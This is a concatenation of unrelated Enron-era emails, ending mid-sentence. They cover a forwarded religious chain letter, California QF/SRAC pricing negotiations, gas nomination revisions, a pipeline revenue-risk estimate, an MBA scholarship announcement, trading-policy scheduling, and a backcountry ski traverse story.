08/30/2000 04:48 PM
To: kttn0965@aol.com, McJenjil@aol.com, Topey0661@aol.com, Nikki 
Johnson/NA/Enron@Enron, Regina Blackshear/Corp/Enron@ENRON, Diane 
Salcido/Corp/Enron@Enron, Judy Hernandez/HOU/ECT@ECT, Sandra R 
McNichols/HOU/ECT@ECT, Angela Gill/NA/Enron@Enron, Warren 
Perry/Corp/Enron@Enron, Derick Jones/Corp/Enron@Enron
cc:  
Subject: Fwd: [Fwd: The Hand]

---------------------- Forwarded by Angela Barnett/HOU/ECT on 08/30/2000 

Deb Pepple <dpepplejes@netscape.net> on 08/30/2000 04:36:39 PM
To: Angie Barnett <angela.barnett@enron.com>, Donna Hixon 
<dhixonhhe@netscape.net>, Laurie Lauer <jakenlaneysmom@hotmail.com>
cc:  

Get your own FREE, personal Netscape WebMail account today at 
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From: "angie hufford" <mysticdwagoness@hotmail.com>
To: FinsRIn59@aol.com, saint@dnsonline.net, ranger43@gte.net,        
Jeeperjune@aol.com
Date: Tue, 22 Aug 2000 02:51:59 GMT
Message-ID: <F177xqxPs68K8rBKXGA00001e60@hotmail.com>
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FILETIME=[F0E89530:01C00BE3]
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e7ULaeH28081

>From: lightnin1610@webtv.net
>To: AngelSecrets1@aol.com, mysticdwagoness@hotmail.com,
>edavis24401@yahoo.com, DorothyWaller@webtv.net, GYvonne57@aol.com,
>kygrand1@webtv.net, maryneileen@webtv.net, res02pa6@gte.net,
>ldyinfl@aol.com
>Subject: The Hand
>Date: Tue, 15 Aug 2000 18:42:55 -0400 (EDT)
>
>
>THE HAND
>--------------------------------
>My daughter, Kathleen, was 15... too young to seriously date but she had
>a boyfriend. One evening, when I was leaving to pick up my son, Paul,
>from baseball practice, she asked if she could just go with her
>boyfriend to pick up his little brother at a friend's house. She said
>they would come right back.
>I said, "All right, just make sure you wear your seat belt, and come
>right home." It was my father's birthday and my youngest
>daughter,Therese, was already at my father's house waiting for us to
>come over with the cake I had yet to pick up at the store. I left to
>pick Paul up at school, but decided to take the highway, rather than the
>shortcut along the back roads.
>After leaving the school, Paul and I ran in the store for the cake and
>some last minute goodies. As we were getting into the car, we heard and
>saw paramedics, fire trucks, three ambulances and of course a multitude
>of police cars. ? I got a sick feeling in my stomach and said to Paul,
>"Somebody needs our prayers, quick." ? I wondered if there was a fire
>or a bad car accident.
>At one of the intersections I had to stop to let more emergency vehicles
>through, and prayed, "Lord, those people need you right now, go to them
>and place your protective hand over them."
>We stopped at my parents to drop off the food, before going home to pick
>up Kathleen, but my father met me at the car and told us to postpone the
>Party because Therese had fallen asleep.
>"Which way did you go to the school?" he asked, "Because there was a bad
>accident on the back road, I heard someone was killed. It happened just
>about the time you had to pick up Paul at the school and I know you
>always go that way. I was so happy to see you pull in, I had a gut
>feeling it was you."
>As Paul and I drove the short distance home, I could see our house was
>dark and when Kathleen is home alone, she always burned every light. As
>I turned off the ignition, tears fell, "It was Kathleen," I told Paul,
>"I know it." I ran in the house and checked our answering machine, no
>one
>had called. I breathed a sigh of relief, thinking that someone would
>have called by now. "Paranoid," that's what Kathleen always called me,
>and that's what I was telling myself, "You're just paranoid!" Then, the
>phone rang. It was her friend's mother, who worked in the emergency room
>of our local hospital. She only told me that the three of them were in
>an accident and were being transported to the hospital.
>I didn't call my husband at work, or my parents. Paul and I just left
>for the hospital. As I pulled into the parking lot, one of the
>paramedics, someone we have known for years met us at our car.
>"I'm sorry, I'm so sorry," he said with tears streaming down his face.
>????The next thing I remember after was talking to the doctor in
>the hallway of the ER.
>He asked me if I believed in God, and with that my knees gave way.
>"No," he said, "you don't understand, do you believe in divine
>intervention? "I stammered, a weak, "Yes." ? Not having a clue what he
>was talking about. ? He smiled at me and asked, "Do you know what
>shirt your daughter was wearing, tonight?" Nodding no, he told me to go
>down the hall and look. "Your daughter is blessed with angels and so are
>you.
>From what the emergency personnel told me, there is no way that your
>daughter should be alive, let alone only have a few scratches." Kathleen
>was laying on a cart, waiting for more x-rays. When I got to her, we
>both sobbed. As I was hugging her I had the urge to check her shirt,
>unzipping her jacket. I read the words, "Jesus Saves." I knew then, what
>the doctor had meant.
>All three were treated and released. On the way home that night,
>Kathleen told this story: "It was really weird, about a quarter of a
>mile before the accident, I said, 'Wait, we forgot to put our seatbelts
>on, my Mother will kill me.' Then a car was coming towards us in our
>lane, he swerved, and I knew we got hit on the passenger side of the
>car, where I was sitting. We got hit a total of three times because the
>car kept spinning in a circle. I felt his little brother's hand on my
>shoulder, holding me lightly in place.
>"But Mom, after it was all over, I could still feel the hand on my
>shoulder. I looked and his little brother had flown out the back window
>of the car, as we later found out, on the first spin. "It was an
>angel,Mom,I know it!"
>I knew it too, especially when we went the next day to look at the car,
>it had been split in half, right underneath my daughter's seat. The
>driver of the other car, witnesses said, was traveling 90-95 miles Per
>hour and the point of impact at that speed was directly at Kathleen's
>door. The police report stated that the car door was found fifty feet
>away from the accident scene, with the seat belt attached. So when the
>door broke loose, "the hand" was the only thing that saved my daughter's
>life.
>The Lord, knew, long before I did that my child was in trouble, and I
>will always praise Him for saving her life and restoring mine. I have
>been meaning to write this story for the past couple years. ? Kathleen
>just turned 21. While I was writing this I smiled and cried, it's all
>true.
>
>
>
>Father, I ask you to bless my friend reading this right now!
>
>Lord, show them a new revelation of Your love and power.
>
>Holy Spirit, I ask You to minister to their spirit at this very moment.
>
>Where there is pain, give them Your peace & mercy.
>
>Where there is self-doubting, release a renewed confidence in Your
>ability to work through them.
>
>Where there is tiredness, or exhaustion, I ask You to give them
>understanding, patience, & strength as they learn submission to Your
>leading.
>
>Where there is spiritual stagnation, I ask You to renew them by
>revealing Your nearness, and by drawing them into greater intimacy with
>You.
>
>Where there is fear, reveal Your love, and release to them Your courage.
>
>Where there is a sin blocking them, reveal it, and break its hold over
>my friend's life.
>
>Bless their finances, give them greater vision, and raise up leaders,
>and friends to support, and encourage them.
>
>Give each of them discernment to recognize the demonic forces around
>them, and reveal to them the power they have in You to defeat it.
>
>I ask You to do these things in Jesus'name!
>In Christian love,
>Your Friend in Jesus
>
>
>Passing this on to anyone you consider a friend, as I have done here,
>will bless you both. Passing this on to one not considered a friend is
>something I know Christ would do.
>

You need to be aware that we are in the process of selling the Wind Co.  Mark 
Metts and Amit Walya are working on this.  If the price changes under the QF 
contracts it would impact the sale.  Call Amit to discuss (345-5570).

	01/21/2001 10:23 AM
		 
		 To: Alan Comnes/PDX/ECT@ECT, Angela Schwarz/HOU/EES@EES, Beverly 
Aden/HOU/EES@EES, Bill Votaw/HOU/EES@EES, Brenda Barreda/HOU/EES@EES, Carol 
Moffett/HOU/EES@EES, Cathy Corbin/HOU/EES@EES, Chris H Foster/HOU/ECT@ECT, 
Christina Liscano/HOU/EES@EES, Christopher F Calger/PDX/ECT@ECT, Craig H 
Sutter/HOU/EES@EES, Dan Leff/HOU/EES@EES, Debora Whitehead/HOU/EES@EES, 
Dennis Benevides/HOU/EES@EES, Don Black/HOU/EES@EES, Dorothy 
Youngblood/HOU/ECT@ECT, Douglas Huth/HOU/EES@EES, Edward 
Sacks/Corp/Enron@ENRON, Eric Melvin/HOU/EES@EES, Erika Dupre/HOU/EES@EES, 
Evan Hughes/HOU/EES@EES, Fran Deltoro/HOU/EES@EES, Frank W 
Vickers/HOU/ECT@ECT, Gayle W Muench/HOU/EES@EES, Ginger 
Dernehl/NA/Enron@ENRON, Gordon Savage/HOU/EES@EES, Harold G 
Buchanan/HOU/EES@EES, Harry Kingerski/NA/Enron@ENRON, Iris Waser/HOU/EES@EES, 
James D Steffes/NA/Enron@ENRON, James W Lewis/HOU/EES@EES, James 
Wright/Western Region/The Bentley Company@Exchange, Jeff Messina/HOU/EES@EES, 
Jeremy Blachman/HOU/EES@EES, Jess Hewitt/HOU/EES@EES, Joe 
Hartsoe/Corp/Enron@ENRON, Karen Denne/Corp/Enron@ENRON, Kathy 
Bass/HOU/EES@EES, Kathy Dodgen/HOU/EES@EES, Ken Gustafson/HOU/EES@EES, Kevin 
Hughes/HOU/EES@EES, Leasa Lopez/HOU/EES@EES, Leticia Botello/HOU/EES@EES, 
Mark S Muller/HOU/EES@EES, Marsha Suggs/HOU/EES@EES, Marty Sunde/HOU/EES@EES, 
Meredith M Eggleston/HOU/EES@EES, Michael Etringer/HOU/ECT@ECT, Michael 
Mann/HOU/EES@EES, Michelle D Cisneros/HOU/ECT@ECT, Mike M Smith/HOU/EES@EES, 
mpalmer@enron.com, Neil Bresnan/HOU/EES@EES, Neil Hong/HOU/EES@EES, Paul 
Kaufman/PDX/ECT@ECT, Paula Warren/HOU/EES@EES, Richard L 
Zdunkewicz/HOU/EES@EES, Richard Leibert/HOU/EES@EES, Richard 
Shapiro/NA/Enron@ENRON, Rita Hennessy/NA/Enron@ENRON, Robert 
Badeer/HOU/ECT@ECT, Roger Yang/SFO/EES@EES, Rosalinda Tijerina/HOU/EES@EES, 
Sandra McCubbin/NA/Enron@ENRON, Sarah Novosel/Corp/Enron@ENRON, Scott 
Gahn/HOU/EES@EES, Scott Stoness/HOU/EES@EES, Sharon Dick/HOU/EES@EES, 
skean@enron.com, Susan J Mara/NA/Enron@ENRON, Tanya Leslie/HOU/EES@EES, Tasha 
Lair/HOU/EES@EES, Ted Murphy/HOU/ECT@ECT, Terri Greenlee/NA/Enron@ENRON, Tim 
Belden/HOU/ECT@ECT, Tony Spruiell/HOU/EES@EES, Vicki Sharp/HOU/EES@EES, 
Vladimir Gorny/HOU/ECT@ECT, Wanda Curry/HOU/EES@EES, William S 
Bradford/HOU/ECT@ECT, Kathryn Corbally/Corp/Enron@ENRON, fvickers@enron.com, 
Michael Etringer/HOU/ECT@ECT
		 cc: 
		 Subject: IMPORTANT CONFERENCE CALL ON QF/SRAC MATTERS SCHEDULED FOR 12:30 
P.M. (NOONISH) ON SUNDAY, JAN.  21

----- Forwarded by Jeff Dasovich/NA/Enron on 01/21/2001 10:21 AM -----

	01/21/2001 05:42 AM
		 
		 To: "Wayne Kawamoto" <wkawamoto@wm.com>, "Ward Scobee" 
<wscobee@caithnessenergy.com>, "Tony Wetzel" <twetzel@thermoecotek.com>, 
"Thomas Heller" <hellertj@apci.com>, "Ted Cortopassi" 
<TCortopassi@ogden-energy.com>, "Steve Ponder" <steve_ponder@fpl.com>, "Steve 
Iliff" <siliff@riobravo-gm.com>, "Ross Ain" <ain@worldnet.att.net>, "Robert 
Frees" <freesrj@apci.com>, "Rich Dyer" <Rich_dyer@ogden-energy.com>, "Pete 
Levitt" <Pete@calwind.com>, "Paula Soos" <paula_soos@ogden-energy.com>, "Paul 
Wood" <paul_wood@ogden-energy.com>, "Nam Nguyen" <nam.nguyen@powersrc.com>, 
"Milt Schultz" <bfpjv@c-zone.net>, "Marty McFadden" 
<marty_mcfadden@ogden-energy.com>, "Lucian Fox" 
<lucian_fox@ogden-energy.com>, "Ken Salvagno" <kbssac@aol.com>, "Ken Hoffman" 
<khoffman@caithnessenergy.com>, "Jonathan Weisgall" <jweisgall@aol.com>, "Joe 
Ronan" <joer@calpine.com>, "Joe Greco" <joe.greco@uaecorp.com>, "Jack Pigott" 
<jackp@calpine.com>, "Hap Boyd" <hap.boyd@enron.com>, "Frank Misseldine" 
<fmisseldine@caithnessenergy.com>, "Ed Tomeo" <ed.tomeo@uaecorp.com>, "Ed 
Maddox" <emaddox@seawestwindpower.com>, "Duane Nelsen" 
<dnelsen@gwfpower.com>, "Doug Levitt" <SDL@calwind.com>, "Doug Fernley" 
<fernley.doug@epenergy.com>, "Dean Gosselin" <dean_gosselin@fpl.com>, "Bob 
Escalante" <rescalante@riobravo-gm.com>, "Bob Ellery" <bellery@spi-ind.com>, 
"Bill Woods" <billw@calpine.com>, "Bill Carlson" <wcarlson@wm.com>, "Bill 
Adams" <sangorgon@aol.com>, "Alex Sugaoka" <Alex.sugaoka@uaecorp.com>, "Tom 
Hartman" <Tom.Hartman@fpl.com>, "Eric Edstrom" <edstrome@epenergy.com>, 
"Scott Frier" <sfrier@kjcsolar.com>, "William Hall" 
<wfhall2@duke-energy.com>, "Susan J Mara" <Susan_J_Mara@enron.com>, "Scott 
Noll" <snoll@thermoecotek.com>, "Roger Pelote" <roger.pelote@williams.com>, 
"Rob Lamkin" <rllamkin@seiworldwide.com>, "Randy Hickok" 
<rjhickok@duke-energy.com>, "Lynn Lednicky" <lale@dynegy.com>, "Kent Fickett" 
<kfickett@usgen.com>, "Kate Castillo" <ccastillo@riobravo-gm.com>, "Jim 
Willey" <elliottsa@earthlink.net>, "Jeff Dasovich" <jdasovic@enron.com>, 
"Greg Blue" <gtbl@dynegy.com>, "Frank DeRosa" <frank.derosa@gen.pge.com>, 
"Eric Eisenman" <eric.eisenman@neg.pge.com>, "Eileen Koch" 
<eileenk@calpine.com>, "Dave Parquet" <dparque@ect.enron.com>, "Curtis 
Kebler" <curtis_l_kebler@reliantenergy.com>, "Curt Hatton" 
<curt.hatton@gen.pge.com>, "Cody Carter" <cody.carter@williams.com>, "Carolyn 
Baker" <cabaker@duke-energy.com>
		 cc: "Jan Smutny-Jones" <smutny@iepa.com>, "Katie Kaplan" <kaplan@iepa.com>, 
"Carol Hudson" <Chudson@iepa.com>, "Steven Kelly" <steven@iepa.com>, "Andy 
Brown" <abb@eslawfirm.com>, "Doug Kerner" <dkk@eslawfirm.com>, "Diane 
Fellman" <difellman@energy-law-group.com>

An important conference call is scheduled for 12:30 p.m. (PST) on Sunday, 
Today, Jan 21 to discuss the status of legislative meetings on QF/SRAC 
matters.  
 
Call-In number is            888-422-7124
Particpant Code is          111756
 
Status Report
After a marathon 12 hour meeting with Assemplyman Keeley, Senator Battin, QF 
Parties, and SCE, a Keeley sponsored "deal" was proposed at 3:30 a.m. this 
morning.  The crux of the deal is as follows:
 
For renewables and non-gas fired QF, essentially ...
 
7.8 cents/kwh for delivered power for 5 years ["all in", i.e. includes 
capacity and energy]
1.0 on losses
no 'clawback' for wind resources which may have failed to meet fixed capacity 
obligations in the past
Applies "going forward" (presumedly Feb. 1)
 
For gas-fired QFs...
 
7.8 cents/kwh for five years, assuming gas is $5.60;  payment will 
increase/decrease tied to gas  (this assumes an IER of 9821)
1.0 on line losses
applies "going forward"
Caacity True-up and "forbearance" were not addressed.  Credit worthiness will 
be address in the technical conference scheduled for later today (Sunday).  
This program will require in part legislative blessing and direction, 
followed by CPUC approval of individual contract amendments.  This is 
essentially the PG&E/QF "deal" for the gas guys.  For the renewables, it is 
more of a fixed payment approach.
 
A "Technical Conference" is scheduled for Sunday (today) in Sacramento to 
work out some of the implementing details.

No wonder the SEC is able to get good recruiting classes.

http://www.gomemphis.com/newca/011001/means.htm

Daren,

FYI.  Per our discussion, the following nominations were revised on EOG 
Resources:

Meter #  Orig Nom Rev Nom Deal #

5263  4,755  5,820  126355
6067  3,726  4,600  126281
6748  2,005  3,300  126360
6742  4,743  10,120  126365
6296  5,733  2,300  126281

Bob

05/31/2000 05:51 PM
cc:  
Subject: Re: Revised Nomination - June, 2000  

Bob, 

Go ahead and accept the nom revision.  I believe that this is with PGE, not 
El Paso.  How do the rest of our noms compare with EOG?  I f they have a 
higher volume at another meter than we do, I would like to increase our nom 
there.  In effect, I want to keep our physical index position as close as 
possible to what we have in the system now.

D

	From:  Robert Cotten                           05/31/2000 04:04 PM
	
cc:  
Subject: Revised Nomination - June, 2000

Daren,

Charlotte Hawkins is having trouble confirming the volume of 5,733 with El 
Paso.  El Paso will not confirm the volume that high.  EOG revised their 
nomination as follows:

C/P Name Meter #  Orig Nom Rev Nom

EOG Res. 6296  5,733  2,300

Will you approve revising the volume in Unify down to 2,300?  Please advise.  
Thanks.

Bob

Jeff,
Sorry I've been hard to get a hold of... we held a workshop today to talk 
about our proposed Transport Options program.  I found a copy of what I'd 
sent to you before.  I'll stand behind these numbers today as representing 
the dollar value of the risk Transwestern faced in the proceeding.  What's 
not clear from my original note is that these cost impacts were annual, and 
such impacts would continue year to year thereafter until 
conditions/circumstances changed.  I hope this is useful.

---------------------- Forwarded by Jeffery Fawcett/ET&S/Enron on 08/31/2000 
05:25 PM ---------------------------

03/06/2000 04:40 PM
cc:  

Subject: GIR proceeding-- Potential Financial Impact to TW

Jeff,
You asked me to try to quantify the impact of Transwestern losing access 
rights to 200 MMcf/d of capacity at SoCal Needles as part of the GIR 
proceeding.  Unfortunately, it's not a precise science inasmuch as it depends 
on the shippers' reaction and/or retaliation to such circumstances.  As a 
baseline, Transwestern is almost fully subscribed under various term length 
contracts (and has been since 1998) to the California Border, including the 
750 MMcf/d of capacity available at SoCal Needles.  

In concept, under SFV rates, the majority of revenues would otherwise be 
realized by TW, notwithstanding the circumstance of TW shippers being denied 
full access to their primary delivery point.  In this "best case," the loss 
to TW would be the commodity rates (theoretically, a wash, since they 
presumably represent the true variable cost of TW providing the service), and 
the revenue benefit associated with the fuel margin, calculated to be $5.8MM.

If TW shippers took the position that TW was responsible, and therefore, 
accountable for their inability to consumate a portion of their transactions 
into SoCal Gas' system, then TW faces a "more onerous case" in which it loses 
the demand charge component of their contracts calculated to be $16.5MM.  
Coupled with the aforementioned fuel margin, the total loss is $22.3MM. 

In the worst case, in addition to the actual damages or costs to TW's 
shippers described above, TW shippers may face performance penalties or other 
contractual damages involving their commodity sales to customers behind SoCal 
Gas.  Therfore, TW shippers may attempt to extract those same penalties and 
costs from TW.

Realistically, I'd say that TW faces a loss somewhere between the best case 
and the more onerous case, maybe in the $12 - $15MM range.

I hope this information is useful for purposes of your analysis.  Let me know 
if I can be of any further assistance.

Are we going to do anything for the students before fall semester?  The 
dinner with Dean May and others from the University is great in the fall.  
But last year, we had thought about just a small lunch with the students and 
a few from Enron.  This can be simple and we don't have to coordinate around 
the schedule of any UT faculty or staff.  But it does allow Enron to have a 
more immediate follow up with the scholarship recepients to celebrate their 
being chosen.  --Sally 

From: Karen Marshall on 03/28/2001 08:12 PM
To: Sally Beck/HOU/ECT@ECT, Richard Causey/Corp/Enron@ENRON, Gene 
Humphrey/Enron@EnronXGate, Wanda Curry/HOU/EES@EES, Brent A 
Price/Enron@EnronXGate, Charlene Jackson/Corp/Enron@ENRON, Christie 
Patrick/HOU/ECT@ECT, Loftus Fitzwater/NA/Enron@Enron, Roger 
Ondreko/Enron@EnronXGate, Andrea V Reed/Enron@EnronXGate
cc: Kristin Gandy/NA/Enron@Enron, Gwynn Gorsuch/NA/Enron@ENRON, Elyse 
Kalmans/Corp/Enron@ENRON, Laura Schwartz/Corp/Enron@Enron, Bert 
Frazier/Enron@EnronXGate, Billy Lemmons/Corp/Enron@ENRON, 
eloy.garcia@bus.utexas.edu 
Subject: UT/Enron MBA Excellence 2001 Scholarship Winners Announced!

I am pleased to announce the recipients of the 2001 University of Texas Enron 
MBA Excellence Scholarships:

Christopher Cashman 
SooPang Tang 
Holland Brown 

Each student will receive $10,000 in scholarship money based on their essays, 
interviews and on how they exemplified the vision, values and beliefs of 
Enron.
I have already notified  the winners, so  please join me in congratulating 
each one on a job well done.  

Special thanks to everyone who participated in the selection of the 
winners.   Stay tuned for details on the date and time for the Scholarship 
Awards dinner slated for early next semester!

 E-mail: christopher.cashman@mba02.bus.utexas.edu Phone:  512-836-6489
 E-mail: soopang.tang@mba02.bus.utexas.edu Phone:  512-708-0161
 E-mail: holland.brown@mba02.bus.utexas.edu Phone:  512-440-1142

FYI... All of the candidates that interviewed were outstanding according to 
the scholarship interview team (Sally Beck, Andrea Reed, Roger Ondreko and 
Loftus Fitzwater).  I will be sending each of them a letter to thank them for 
their participation and encourage them to consider Enron when interviewing 
for full time opportunities next semester.

Thank you,

Karen Marshall

this answers when and where
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 10/02/2000 
02:32 PM ---------------------------
   
	From:  Dan Fancler                           10/02/2000 02:31 PM
	
To: Dan Fancler/ET&S/Enron@Enron
cc: Tony Pryor/ET&S/Enron@ENRON, Drew Fossum@ENRON, Lee 
Ferrell/ET&S/Enron@Enron, Bob Chandler/ET&S/Enron@Enron, Maria 
Perales/ET&S/Enron@ENRON 

Subject: Re: Meeting - - Trading Policy  

Sorry, we plan to meet on Weds. 10/4 at 10:00 am if thats ok with everyone.

Dan

	From:  Dan Fancler                           10/02/2000 02:30 PM
	
To: Tony Pryor/ET&S/Enron@ENRON, Drew Fossum@ENRON, Lee 
Ferrell/ET&S/Enron@Enron, Bob Chandler/ET&S/Enron@Enron
cc: Maria Perales/ET&S/Enron@ENRON 

Revised Trading Policy.  We would like to get together in room 4263 to review 
your comments and make changes as necessary.

Thanks, Dan

Deal 456717 has been changed to reflect Pinnacle West Capital Corp, and the 
traders have been reminded of the name change.

Chris Mallory said he entered the index deal selling to Calpine at about 2:15 
PST today. The deal # is 457473.

Thanks,
Kate

11/13/2000 03:00 PM
cc:  

Subject: 11-13-00 Discrepancies

deal 456717
error:  Please ch name to Pinnacle West Capital Corp instead of Arizona 
Public Service

Missing the following Index deal per Prebon:
Enron sells to Calpine Nov 15-30    100 mw   at NP-15 + $.35.

---------------------- Forwarded by Elliot Mainzer/PDX/ECT on 01/30/2001=20
11:10 AM ---------------------------
  =20
=09
=09From:  "Winston Goodbody" <wgoodbody@hotmail.com>                       =
   =20
01/28/2001 09:28 PM
=09

To: wgoodbody@hotmail.com
cc: =20
Subject: Update from First Leg

Hi All,

Here's a preview of a story that should be going up on our site soon.

Win

=3D=3D=3D=3D=3D=3D

Greater Yellowstone Ski Traverse

Update for Leg 1: South Pass to Cora

By Win Goodbody

The weather gods must have been in a good mood.  Maybe they had a good New
Year=01,s party.  On previous trips to the Wind River Range I had grown
accustomed to spending large blocks of time in the tent, waiting for storm
after storm to subside.  If one of every two days was suitable for venturin=
g
outside, I considered it a bit of luck.  But this time was different.  In
the middle of January we enjoyed an amazing 18 consecutive days of good
weather for our 130 mile ski traverse of the Wind River Range.

The drive south toward Lander, WY revealed an alarming lack of snow, both i=
n
the mountains and lower down where we hoped to start.  This has not been a
good winter so far in the Yellowstone region, and we wondered what
conditions would be like in the Wind Rivers.  Luckily, with the final gain
in elevation as we neared the Continental Divide and South Pass, enough
coverage materialized for us to ski away from the car.  We had day packs an=
d
70 pound sleds.

Starting out with an approach of several days across lowlands was an
interesting way to ease into the trip.  Instead of driving right up to the
base of the mountains, we had to work a little bit to get there.  Even
though we were on open range with scattered trees, this was some of the
trickiest route finding we would encounter anywhere on the route.
Steep-sided drainages and mini-gorges suddenly appeared in the otherwise
mildly rolling terrain, requiring detours and delays.

For a few days we thrashed across the prairie landscape, moving toward
distant peaks that didn=01,t seem to be getting much closer.  The 10 or 12
inches of snow on the ground were completely rotten, and our movement was
half skiing, half snowshoeing.  Each step sank to the ground, and ski tips
snagged in exposed sage brush.  When we came upon a perfectly groomed but
empty Continental Divide Snowmobile trail, we took advantage of it to
quickly reach the Little Sandy drainage, our entrance to the mountains.

We were by now settling into our routines: relearning winter camping skills=
,
dividing repetitive tasks, and adjusting to the cold.  With only about 11
hours of daylight, our schedule was remarkably busy.  It was a struggle to
get moving by 10 each morning even though we got up at 7.  Lunchtime arrive=
d
immediately.  Just as quickly the sun dipped behind a peak and it was time
to make camp.  After eating dinner we scurried into our down bags for a 12
hour sleep.  The days flew by, and we focused on putting miles beneath the
sleds while the good weather lasted, not knowing it would last indefinitely=
.
  We were comfortable, but every waking moment was occupied and there was n=
o
time for relaxing.  We seemed to be always on the move.

The price to be paid for clear sunny days is clear cold nights, and about a
week into the range, when we were up above 10,000 feet nearly all the time,
we had our first taste of real cold.  It was the night we camped in the
Cirque of the Towers, and we were in our floorless cook tent.  We had
excavated a basement a few feet down to the ice of Lonesome Lake.  Except
for the entranceway, all the sides of the tent were flush with the snow
surface, and with both stoves going it was pleasantly warm inside.

After dinner as we sat reading I sensed some sort of change.  Then I knew
what it was.  Searing cold air was draining into the tent and spilling
across the floor like a poisonous gas.  You could feel it cool your face,
try to get inside your clothes, turn your water bottle into a frozen brick.
I imagined my candle snuffing out, refusing to burn at such an obscene
temperature.  I went outside to check my key chain thermometer under a sky
of blazing stars.  The cheap gadget was maxed out.  It was at least =01)25 =
F.
The cold was like a deafening air raid siren.  There was no escaping it.

That same cold was to stay with us most nights and mornings for the next 8
or 9 days.  In the evening before going to bed I would check the
thermometer.  All the red fluid was huddled in the ball at the bottom, too
scared to try for a run up toward the numbers.  It was the same each
morning.  The daily temperature swings were tremendous.  We would go from
=01)25 F (or lower) to 20 F in a matter of hours in the morning.  The warm
midday sun was always a relief, but it didn=01,t last.  Our joy at being ab=
le
to ski along in just a shirt was tempered by the knowledge we would soon be
wearing every layer of clothing we possessed.  In the evenings, as soon as
the sun went down the temperature headed south with merciless speed.

Deep cold is to the sense of touch what the Grand Teton or Old Faithful or =
a
radiant sunrise are to the sense of sight.  It is truly an amazing natural
phenomenon to be reckoned with.  We marveled at it again and again, this
thing you cannot see or hear or smell.  It is both beautiful and horrifying=
,
an undeniably authentic experience that leaves an imprint on your memory,
but with luck not on your toes or fingers.  It might be hard to explain why
it is a fascinating spectacle to behold, but there is no denying that it is=
.
  As the days went by, we became students of this strange, invisible force.
But of course we still got cold every day.

Our good weather continued, and we knocked off high pass after high pass on
our voyage north.  Some days we even crossed two passes and multiple
drainages.  For mid winter, we were really moving fast.  With so little sno=
w
on the ground, at least we were not delayed by having to worry about
avalanches.  Without consciously deciding to do so, we were in fact
traveling harder during the day, stopping later each night, and spending
less time readying a good camp.  More and more we were going flat out all
day and then just collapsing at night to wake the next morning and do it
again.

Our traverse was imperceptibly developing all the classic symptoms of what =
I
have come to know as a death march.  Though a death march typically occurs
at the end of a tour when the desire to exit is so strong it can make you g=
o
all day or all night without thinking of the consequences, a death march ca=
n
also occur at any time during a trip.  For example, if you discover you
haven=01,t brought enough food you might need to go full bore for days on e=
nd.
Or maybe you hear a storm is coming and decide to turn on the after burner
to reach a safe haven.  Probably the defining characteristic of a death
march is that you never intend to get into one to begin with.  But there
comes a point when, like an investigator, you step back for a minute,
examine the evidence of your daily life, and it suddenly dawns on you that =
a
death march is in full swing and you are powerless to stop it.  The horror!
The horror!

At the outset of the leg, we were putting in good days because we wanted to
get up into the high peaks where the real trip would begin.  Once we were
there, we wanted to put in some good days while the weather lasted, to make
some progress before the inevitable endless blizzard that would surely
descend.  After we had been going about 10 days and did some math based on
the miles we had covered and what still lay ahead, we realized that we woul=
d
not have time to exit as we had originally planned.  In fact even after
cutting off some substantial passes and distance, it was still going to be
all we could do to make it out in the time allotted.  So we decided to put
in more good days.   We always had a reason for not resting, for going hard
day after day.  One night while thawing my foot out over the stove, I
realized we were not going to have a single rest day.  We were going for it=
.
  We had gotten sucked in.  We were on a death march.

The long days alone would have been manageable, but we had a growing proble=
m
that was interfering with our ability to recover and rest each night.  Our
sleeping bags were filling with ice, which impaired their ability to loft
and hence insulate us.  This is a common problem in extreme cold.  As you
sleep, you radiate moisture and heat.  The moisture passes through your
sleeping bag and escapes into the air.

When it is very cold, however, the temperature difference between the air
inside your bag and the air outside is too great for moisture to pass
through the bag=01,s outer skin.  As moisture goes to move that last millim=
eter
from the comfortable 70 F temperature inside the bag to the outside air, it
gets walloped with a 100 degree temperature difference (let=01,s say it=01,=
s =01)30 F
out).  Instead of escaping, the moisture freezes on the inside of the bag=
=01,s
outer shell.  This problem seems to be worse with high tech laminate
materials designed to impede the flow of moisture (usually rain) into the
bag from the outside.

This is a cumulative condition and gets worse each day as another night=01,=
s
moisture is added to what is already frozen in the bag.  Unless the bag is
thawed out and dried, there is no solution, and you will reach a point wher=
e
all insulating qualities have been lost and you are better of just sleeping
on your insulated pad in your clothes.  We had already taken to wearing mos=
t
of our clothes inside our sleeping bags, and this just barely worked.
Still, more and more of each night was spent tossing and desperately
huddling into some new contorted position in an attempt to avoid feeling th=
e
hideous cold of yet another clear night.

As light at the end of the tunnel appeared, our daytime efforts reached a
fever pitch.  Day 12, 8.5 miles.  Day 13, 9 miles.  Day 14, 7 miles.  Day
15, 9.5 miles.  And these were by no means easy flat miles.  They were
trailbreaking miles up and down passes, all above 10,000 feet.  Reaching th=
e
entrance to Titcomb Basin, we veered northwest toward the origin of the
Green River at Peak Lake.  Originally we had planned to go north from
Titcomb past Gannett Peak as far as Downs Mountain, the last peak above
13,000 feet in the Winds, before falling off to the west down Roaring Fork,
eventually reaching the Green River drainage.  But because of time, low
snow, and a desire to live we had altered our course to head directly down
the Green.

Going over the top at Cube Rock Pass, we caught a glimpse thousands of feet
down the Green River drainage.  The end was near but we were still looking
at another two days to get to Green River Lakes campground, where we hoped
to solicit a snowmobile ride for the remaining 20 miles to our car in Cora.
The view down the upper Green as it plummets from near Peak Lake is
shocking.  We silently gazed 10 miles down a classic, deeply carved, thickl=
y
forested valley wedged between impassable rocks walls.  Toward their
northern end the Winds turn into a series of high, broad plateaus above
11,000 feet, and the chief difficulty exiting is finding some way down.
Many of the drainages that cut this plateau are gorges, sheer cliffs, or
other features unfriendly to ski tourers with sleds.  As we had changed our
exit route, we had not gone all the way north to the real plateaus.  But
even here getting down was going to take some doing.

Day 16 was the first time we allowed that most cruel of thoughts to enter
our minds: perhaps this was the day we would get out.  Eating pizza in
Jackson tonight?  Sleeping indoors, not encased in an ice tomb?  No more
holding frozen body parts over an open flame?  Perhaps.  We slowly suffered
up Vista Pass, where the summer trail leaves the Green River for about 8
miles and descends a neighboring creek.  I had got into the habit over the
last few days of proclaiming that some feature or other was =01&really goin=
g to
be the last uphill=018.  Usually as soon as this sentence hit the air we wo=
uld
round a corner to glimpse another uphill ahead.  But I was undeterred by
past failed prophecies and once again suggested to Joe that =01&this is it=
=018.
He said nothing.

Whereas early in the trip I felt strong and had been happy to break trail
for hours at a time, the death march and lack of sleep had taken their toll
and the wheels were coming off.  I had no enthusiasm for leading.  I felt
like the walking dead and just wanted to follow, my eyes locked on a track
in front of me, legs trudging on automatic pilot.  But as I grew weaker, Jo=
e
